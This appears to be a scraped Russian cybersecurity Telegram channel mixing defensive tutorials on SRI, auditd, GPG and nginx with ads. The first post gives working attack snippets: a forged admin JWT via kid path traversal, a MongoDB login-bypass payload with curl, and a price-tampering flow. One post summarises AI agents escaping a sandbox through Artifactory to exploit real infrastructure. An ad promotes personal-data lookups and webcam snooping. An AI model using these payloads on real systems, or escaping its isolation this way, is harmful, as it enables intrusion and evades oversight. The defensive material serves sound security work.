ZeroDay | Кибербезопасность

ZeroDay | #мем

3 лайфхака для пентестинга 👋 Приветствую в мире цифровой безопасности! Расскажу ещё о трех полезных фишках в пентесте. ⏺JWT kid parameter injection - параметр kid в заголовке JWT говорит серверу какой ключ использовать для проверки подписи. Если сервер использует kid как путь к файлу без санитайзинга - это path traversal прямо в механизме аутентификации: import jwt, base64 # Создаём токен где kid указывает на /dev/null # /dev/null содержит пустую строку — используем её как ключ header = {"alg": "HS256", "kid": "../../dev/null"} payload = {"sub": "admin", "role": "admin"} token = jwt.encode(payload, "", algorithm="HS256", headers={"kid": "../../dev/null"}) Сервер читает ключ из /dev/null (пустая строка), подписываем токен той же пустой строкой - проверка проходит. Работает и через SQL injection в kid если сервер делает запрос к базе. ⏺NoSQL Injection через JSON-операторы MongoDB: вместо SQL-синтаксиса используем операторы MongoDB напрямую в JSON-теле запроса: { "username": {"$gt": ""}, "password": {"$gt": ""} } $gt: “” означает “больше пустой строки” - условие всегда истинно, аутентификация проходит без знания пароля. Работает если приложение принимает JSON и не валидирует структуру объектов: curl -X POST https://target.com/login \ -H "Content-Type: application/json" \ -d '{"username":{"$gt":""},"password":{"$gt":""}}' Другие полезные операторы: $regex для перебора паролей по символам, $where для выполнения JavaScript если включён. ⏺Business Logic через parameter tampering в многошаговых флоу: многие приложения передают промежуточные данные между шагами через скрытые поля или параметры не проверяя их на бэкенде повторно. Классика в e-commerce: # Шаг 1: добавляем товар в корзину POST /cart/add item_id=123&price=999.99 # Шаг 2: меняем цену напрямую POST /cart/update item_id=123&price=0.01 # Шаг 3: оформляем заказ с подменённой ценой POST /checkout Проверяем все параметры которые передаются между шагами: цены, количество, скидки, ID пользователя. Бэкенд часто доверяет значениям из предыдущего шага вместо того чтобы пересчитывать из базы. ZeroDay | Белый Хакер | #пентест

Subresource Integrity: защита от подмены внешних скриптов 👋 Приветствую в мире цифровой безопасности! Разберём механизм, который защищает от компрометации CDN и сторонних библиотек - ситуация, когда jQuery или Bootstrap подменяются атакующим прямо на стороне поставщика. ⏺Суть проблемы: большинство сайтов подключают внешние скрипты и стили напрямую с CDN. Если CDN скомпрометирован или файл подменён - браузер загрузит и выполнит вредоносный код без единого предупреждения. Именно так работают атаки на цепочку поставок через js-библиотеки. ⏺SRI (Subresource Integrity) решает это через криптографическую проверку: браузер вычисляет хэш загруженного файла и сравнивает с тем что указан в атрибуте integrity. Не совпало - файл не выполняется: <script src="https://cdn.jsdelivr.net/npm/jquery@3.7.1/dist/jquery.min.js" integrity="sha256-/JqT3SQfawRcv/BIHPThkBvs0OEvtFFmqPF/lYI/Cxo=" crossorigin="anonymous"> </script> Даже если CDN отдаст изменённый файл - браузер заблокирует его выполнение. ⏺Генерируем хэш для любого файла самостоятельно: не доверяем хэшам из документации, вычисляем сами: curl -s https://cdn.jsdelivr.net/npm/jquery@3.7.1/dist/jquery.min.js | \ openssl dgst -sha256 -binary | openssl base64 -A # Или через shasum curl -s https://example.com/lib.js | shasum -a 384 -b | \ awk '{print $1}' | xxd -r -p | base64 Итоговый формат: sha256-<base64> или sha384-<base64> -SHA-384 предпочтительнее для продакшена. ⏺crossorigin=“anonymous” обязателен: без него браузер не отправляет CORS-запрос и не получает заголовки - SRI проверка просто не выполнится. Сервер должен отвечать с Access-Control-Allow-Origin: * для публичных CDN-ресурсов. ⏺Можно указать несколько хэшей через пробел: полезно при миграции или если CDN отдаёт файлы в разных форматах: <script src="https://example.com/lib.js" integrity="sha256-abc123... sha384-def456..." crossorigin="anonymous"> </script> Браузер принимает файл если совпадает хотя бы один из хэшей. ⏺CSP как второй уровень защиты: require-sri-for заставляет браузер требовать SRI для всех скриптов и стилей, даже если атрибут integrity забыли поставить вручную: Content-Security-Policy: require-sri-for script style Без SRI-атрибута браузер заблокирует загрузку ресурса даже с доверенного домена. ⏺Где SRI не работает: динамически генерируемые скрипты где контент меняется при каждом запросе, API-ответы, fetch-запросы из JS - SRI только для тегов script и link в HTML. Для динамических ресурсов нужен другой подход через CSP и доверенные домены. ZeroDay | Белый Хакер | #безопасность

[Сегодня] ИИ против пентестера: кто быстрее найдёт путь к эксплуатации? 👋 Приветствую в мире цифровой безопасности! Расскажу об открытом воркшопе, на котором одну и ту же работу выполнят двумя способами: вручную и с помощью AI-агента. Результаты сравнят в прямом эфире — без заранее подготовленной демонстрации. Можно будет увидеть, где AI действительно ускоряет пентест, а где без знаний и контроля специалиста пока не обойтись. На воркшопе покажут: ⏺ Как ставить задачи AI-агенту. Какие данные и контекст ему нужны, чтобы получить применимый результат, а не уверенную галлюцинацию. ⏺ Как AI участвует в веб-пентесте. От анализа приложения и проверки гипотез до поиска неочевидного пути эксплуатации. ⏺ Как меняется рабочий процесс пентестера. Сравнят ручной подход и работу с Burp Suite, Claude Code и Cursor IDE. ⏺ Где AI можно использовать уже сейчас. В практическом пентесте, обучении, подготовке к CTF и автоматизации повторяющихся действий. Воркшоп проведёт Никита Коломиец — действующий специалист по анализу защищённости и эксперт в области пентеста, анализа событий и управления уязвимостями. 🗓 Сегодня, 13 августа, 18:30 МСК 🌐 Онлайн. Участие бесплатное 🌟 Зарегистрироваться на воркшоп ZeroDay | Белый Хакер | #пентест #нейросети #вебинар

Детект privilege escalation через корреляцию sudo с auditd 👋 Приветствую в мире цифровой безопасности! Sudo-лог показывает факт вызова команды, но не то что произошло после. Auditd видит всё на уровне ядра - вместе они дают полную картину. ⏺Задача такая: поймать момент когда пользователь через sudo получил привилегированный шелл или сделал что-то за пределами ожидаемого поведения. Один источник логов этого не покажет, нужна корреляция. ⏺Настраиваем auditd на отслеживание процессов запущенных через sudo - ключевой момент это PPID (parent PID): # Следим за fork/exec от процессов с euid=0 auditctl -a always,exit -F arch=b64 -S execve -F euid=0 -k priv_exec # Отдельно — запуск интерпретаторов от рута auditctl -a always,exit -F arch=b64 -S execve \ -F path=/bin/bash -F euid=0 -k shell_as_root auditctl -a always,exit -F arch=b64 -S execve \ -F path=/usr/bin/python3 -F euid=0 -k python_as_root ⏺Связываем sudo-событие с последующими действиями через session ID. Каждый sudo-вызов создаёт новую audit-сессию - все дочерние процессы наследуют ses: # Находим session ID конкретного sudo-вызова ausearch -k sudo_exec -i --start today | grep "ses=" # Все события в рамках этой сессии ausearch --session 42 -i | grep -E "execve|open|connect" Один ses объединяет весь граф процессов от момента sudo до завершения сессии. ⏺Автоматическая корреляция через aureport. Строим сводку подозрительных сессий: # Все сессии где был запущен bash от root aureport --executable --start today | grep bash # Сессии с сетевой активностью от root-процессов ausearch -k priv_exec -i | grep "syscall=connect" # Полный timeline конкретной сессии ausearch --session 42 -i --format text | \ awk '/execve|openat|connect/{print $1,$2,$3,$NF}' ⏺Детект классических техник эскалации через паттерны в auditd: # SUID-бинари запущенные в рамках привилегированной сессии ausearch -k priv_exec -i | grep "SUID" # Запись в /etc/passwd или /etc/sudoers после sudo auditctl -w /etc/passwd -p wa -k passwd_write auditctl -w /etc/sudoers -p wa -k sudoers_write ausearch -k passwd_write -i --start today | \ grep -B5 "ses=" | grep "auid=" | sort -u auid - это original user ID который не меняется даже после sudo, именно по нему можно восстановить кто реально выполнил действие. ⏺Собираем итоговый алерт: sudo-вызов плюс последующий запуск шелла в той же сессии - это уже повод разбираться: #!/bin/bash # Находим сессии где после sudo был запущен интерпретатор ausearch -k sudo_exec --start today -i | grep "ses=" | \ grep -oP 'ses=\K\d+' | sort -u | while read ses; do if ausearch --session $ses -i 2>/dev/null | \ grep -q "priv_exec\|shell_as_root"; then echo "ALERT: Suspicious session $ses" ausearch --session $ses -i | grep "execve" | tail -5 fi done ZeroDay | Белый Хакер | #sudo

Что будем делать, если нас завтра зашифруют? Ответы — в новом исследовании от «Инфосистемы Джет», основанном на опыте расследования, реагирования и ликвидации более чем 100 крупных инцидентов за 2023–2025 годы. В исследовании: ▫️почему шифрование и разрушение инфраструктуры остаются основными сценариями атак ▫️какие техники используют злоумышленники, чтобы дольше оставаться незамеченными ▫️какие недостатки инфраструктуры чаще всего приводят к успешным атакам ▫️практические рекомендации по повышению киберустойчивости и восстановлению после атак 🔹Подробности в исследовании

Cairn: движок для автоматизации поиска уязвимостей 👋 Приветствую в мире цифровой безопасности! Расскажу о еще одном полезном инструменте для пентеста. ⏺Cairn получает исходную точку и цель. Например, известен IP-адрес, а задача состоит в том, чтобы найти способ получить доступ к системе. Дальше заранее заданного сценария нет. Каждый найденный факт добавляется в общую карту, после чего система выбирает следующее направление проверки. ⏺Внутри всё строится вокруг трёх сущностей: ➡️Fact - подтверждённый результат проверки. Например, найден открытый порт или определена версия сервиса. ➡️Intent - направление, которое стоит проверить дальше. ➡️Hint - подсказка от человека, которую можно добавить в процессе работы. За счёт этого разные агенты не обмениваются сообщениями напрямую. Они читают общую карту и добавляют туда свои результаты. ⏺Установка и запуск выглядят довольно обычно. Нужны Python 3.12+, Docker и настроенный конфиг: cp dispatch.example.yaml dispatch.yaml После этого запускаем сервер: uv run –project cairn cairn serve И отдельно диспетчер: uv run –project cairn cairn dispatch –config dispatch.yaml ⏺Для запуска через Docker есть готовый вариант: docker compose up –build Cairn поднимает сервер, диспетчер и отдельные контейнеры для рабочих процессов. ⏺Интересный момент: Docker вообще не обязателен. В local mode агенты могут работать прямо на хосте, используя уже установленный Claude Code, Codex или Pi: cp dispatch.local.example.yaml dispatch.yaml uv run –project cairn cairn serve uv run –project cairn cairn dispatch –config dispatch.yaml При этом изоляции контейнера уже нет, поэтому такой режим требует гораздо больше доверия к выполняемым задачам. ⏺В качестве проверки самого проекта есть отдельный тестовый набор: uv run –project cairn –group dev pytest По сути Cairn интересен не как очередной сканер, а как эксперимент с другой моделью автоматизации: не давать системе готовый чек-лист, а позволить ей строить следующий шаг из того, что уже удалось обнаружить. ZeroDay | Белый Хакер | #Инструмент

🛡 Самая «безопасная» для трудоустройства профессия 2026 года — специалист по информационной безопасности. Специалисты защищают системы и данные, а спрос на них продолжает расти. Сейчас на hh.ru открыто более 3 000 вакансий. На курсе Нетологии вы изучите основы кибербезопасности и требования ФСТЭК, научитесь администрировать системы защиты, предотвращать и расследовать инциденты. Освоите одну из специализаций — безопасную разработку или тестирование на проникновение, а также применение машинного обучения и нейросетей в ИБ. С 1 сентября стоимость курса повысится. Сейчас действует скидка 45%, а промокод БЕЗ5К уменьшит стоимость ещё на 5 000 ₽. Подробнее о курсе Реклама. ООО “Нетология” ОГРН 1207700135884 Erid: 2VSb5wq7M7g

Как обычная Excel-таблица привела ИИ-агентов к взлому реальной инфраструктуры? Всё началось с простой задачи: заполнить формулы в Excel. У модели не было доступа к нужному файлу, и на этом история могла закончиться. Но дальше агенты начали искать обходные пути - использовать внутренние репозитории, находить уязвимости и обмениваться найденными способами выхода из изолированной среды. ⏺В статье разбирают, как через Artifactory агенты нашли канал для обмена данными, как добрались до уязвимостей во внутренней инфраструктуре и почему в итоге реальные системы оказались частью эксперимента. Отдельно показано, что происходит, когда модели дают задачу, но не обеспечивают нормальную изоляцию среды. ZeroDay | Белый Хакер | #Статья

Если ты любишь пр0бив, OSINT-разведку и чекать вебки, то тебе в этот канал по гитхабу👇🏻 https://t.me/+gssTF2tjktlkNjdi

ZeroDay | #мем

Все тонкости GPG-подписей 👋 Приветствую в мире цифровой безопасности! В прошлый раз разобрали базу - создание ключа и подпись файлов. Сегодня про то как это делают правильно. ⏺Почему один ключ для всего - плохая идея: большинство создают один ключ и используют его для всего: подписи, шифрования, аутентификации. Если ключ утёк - компрометировано всё. Правильная схема: master key хранится офлайн и используется только для сертификации subkeys. Subkeys - отдельно для каждой задачи: gpg --expert --full-gen-key # Выбираем: (8) RSA (set your own capabilities) # Отключаем Sign и Encrypt, оставляем только Certify # Это и есть master key ⏺Добавляем subkeys для реальной работы: gpg --expert --edit-key your@email.com gpg> addkey # (4) RSA (sign only) — для подписей # 4096 бит, срок 1 год gpg> addkey # (6) RSA (encrypt only) — для шифрования gpg> addkey # (8) RSA - выбираем только Authenticate - для SSH gpg> save В итоге master key только для сертификации subkeys, три subkeys под конкретные задачи, каждый с ограниченным сроком жизни. ⏺Экспортируем master key и убираем его с машины: # Экспортируем всё для бэкапа gpg --armor --export-secret-keys your@email.com > master-backup.asc # Экспортируем только subkeys для рабочей машины gpg --armor --export-secret-subkeys your@email.com > subkeys.asc # Удаляем master key с рабочей машины gpg --delete-secret-key your@email.com # Импортируем только subkeys обратно gpg --import subkeys.asc Теперь на рабочей машине нет master key - даже при полной компрометации системы мастер в безопасности. ⏺Сертификат отзыва - создаём сразу и убираем в безопасное место: gpg --gen-revoke your@email.com > revoke.asc Если ключ утёк - импортируем этот файл и публикуем на keyserver. Без сертификата отзыва скомпрометированный ключ будет висеть в сети вечно. ⏺Подпись Git-коммитов - самый частый практический сценарий: # Указываем GPG-ключ для Git git config --global user.signingkey YOUR_KEY_ID git config --global commit.gpgsign true # Подписанный коммит git commit -S -m "feat: add new feature" # Проверяем подписи в логе git log --show-signature GitHub и GitLab показывают зелёный Verified на коммитах если ключ добавлен в аккаунт. ⏺Yubikey, как хранилище subkeys - ключ никогда не покидает железо: gpg --edit-key your@email.com gpg> key 1 # выбираем первый subkey (sign) gpg> keytocard # Select where to store the key: (1) Signature key gpg> key 1 gpg> key 2 # выбираем второй subkey (encrypt) gpg> keytocard # (2) Encryption key gpg> save После переноса на карту приватный ключ физически живёт на Yubikey - операции подписи и шифрования выполняются внутри устройства, ключ не экспортируется никогда. ⏺Проверяем, что всё настроено правильно: gpg --list-secret-keys --keyid-format LONG # Subkeys с # в конце означают что они на смарткарте # Subkeys без # — на диске gpg -K # sec# — master key офлайн (# означает недоступен) # ssb> — subkey на смарткарте (> означает на устройстве) ZeroDay | Белый Хакер | #GPG

Защита веб-сервера: rate limiting и защита от брутфорса 👋 Приветствую в мире цифровой безопасности! Расскажу про ограничение запросов в Nginx - как не дать ботам и сканерам положить сервис или перебрать пароли. ⏺Базовый rate limiting через limit_req - зона в памяти с ключом по IP и лимитом запросов в секунду: http { limit_req_zone $binary_remote_addr zone=general:10m rate=10r/s; limit_req_zone $binary_remote_addr zone=login:10m rate=1r/s; limit_conn_zone $binary_remote_addr zone=conn_limit:10m; } server { location / { limit_req zone=general burst=20 nodelay; limit_conn conn_limit 10; } location /login { limit_req zone=login burst=5; limit_req_status 429; } } burst=20 разрешает краткосрочный всплеск до 20 запросов, nodelay обрабатывает их немедленно без очереди. Без nodelay запросы из burst-буфера обрабатываются с задержкой, что создаёт очередь и замедляет легитимных пользователей. ⏺Разные зоны для разных эндпоинтов - API и страница логина должны иметь разные лимиты: limit_req_zone $binary_remote_addr zone=api:10m rate=30r/s; limit_req_zone $binary_remote_addr zone=auth:10m rate=1r/m; limit_req_zone $binary_remote_addr zone=static:10m rate=100r/s; location /api/ { limit_req zone=api burst=50 nodelay; } location ~* \.(js|css|png|jpg|gif|ico|woff)$ { limit_req zone=static burst=200 nodelay; } location ~ ^/(login|signup|reset-password) { limit_req zone=auth burst=3; limit_req_status 429; } ⏺Блокируем подозрительные User-Agent и пустые запросы - большинство простых ботов не заморачиваются с заголовками: map $http_user_agent $bad_bot { default 0; ~*masscan 1; ~*zgrab 1; ~*nikto 1; ~*sqlmap 1; "" 1; } server { if ($bad_bot) { return 444; } } 444 это специальный код Nginx - закрывает соединение без отправки ответа, бот не получает даже подтверждения, что сервер существует. ⏺Geo-блокировка через встроенный модуль, если трафик из конкретных стран явно нелегитимен: geoip2 /etc/nginx/GeoLite2-Country.mmdb { $geoip2_data_country_code country iso_code; } map $geoip2_data_country_code $allowed { default 0; RU 1; BY 1; KZ 1; } server { if ($allowed = 0) { return 403; } } ⏺Логируем заблокированные запросы отдельно для анализа: log_format blocked '$remote_addr - $time_local "$request" ' '$status "$http_user_agent" "$http_referer"'; access_log /var/log/nginx/blocked.log blocked if=$bad_bot; Отдельный лог даёт чистую картину атак без смешивания с легитимным трафиком. ZeroDay | Белый Хакер | #безопасность

📝 Форматы SSL-сертификатов Сертификат SSL/TLS - это обычный файл, который подтверждает подлинность сайта и используется для установки защищённого соединения. Но сами сертификаты могут храниться в разных форматах — и каждый нужен для своих задач. ⏺PEM (.pem, .crt, .cer, .key): Самый популярный формат. Хранится в виде текста (Base64), поэтому его можно открыть обычным редактором. Используется в OpenSSL, Apache, Nginx, Docker, Kubernetes и большинстве Linux-систем. ⏺DER (.der, .cer): Бинарная версия сертификата X.509. Человек её не прочитает, зато она удобна для приложений и некоторых устройств. Часто встречается в Java и Windows. ⏺PKCS#7 (.p7b, .p7c): Содержит сертификат и цепочку доверия, но без приватного ключа. Подходит для передачи сертификатов между системами и часто используется в Microsoft IIS. ⏺PKCS#12 (.p12, .pfx): Универсальный контейнер, в котором могут храниться сертификат, цепочка доверия и приватный ключ. Обычно защищается паролем и применяется для экспорта, резервного копирования и переноса сертификатов. ⏺.CRT и .CER: Это не отдельные форматы, а лишь расширения файлов. Внутри может быть как текстовый PEM, так и бинарный DER. ⏺.KEY: Файл с приватным ключом. Именно он подтверждает, что сертификат принадлежит владельцу. Потеря или утечка этого файла означает компрометацию сертификата. ZeroDay | Белый Хакер | #SSL

Зачем ИБ-специалисту образование в 2026 году 👋 Приветствую в мире цифровой безопасности! Сфера ИБ меняется быстрее многих IT-направлений: новые уязвимости, атаки на LLM-модели, усложнение DevSecOps-конвейеров и защита облачной инфраструктуры требуют от инженера понимания процессов на глубоком системном уровне. Чтобы не просто закрывать симптомы готовыми утилитами, а видеть архитектуру целиком, специалисту нужен крепкий образовательный фундамент. ⏺️ И вузы совместно с компаниями готовы активно готовить востребованных спецов. Одна из программ — онлайн-магистратура по кибербезопасности от НИЯУ МИФИ в партнерстве с Яндекс Практикумом. Программа объединяет академический ресурс кафедры криптологии МИФИ и актуальную инженерную практику сервисов Яндекса. ⏺️ Обучение организовано полностью онлайн с лекциями по вечерам. При этом студенты получают официальный очный статус, государственный диплом магистра, о профпереподготовке и стандартные студенческие льготы. ⏺️ Учебный план позволяет сфокусироваться на одном из четырех прикладных направлений: разработке защищенного ПО, автоматизации безопасности в DevSecOps, защите сетевой инфраструктуры или безопасности ML-моделей и AI-систем. ⏺️Студенты будут разбирать реальные кейсы в том числе от команд Еды, Go, Облака и Лавки без ограничений по NDA, участвовать в CTF-соревнованиях и проводить исследования в лаборатории кафедры криптологии. К выпуску соберется портфолио из 10+ проектов. Отбор проходит дистанционно — через мотивационное письмо и онлайн-экзамен по ИБ. Узнать подробнее о программе и изучить треки можно по ссылке.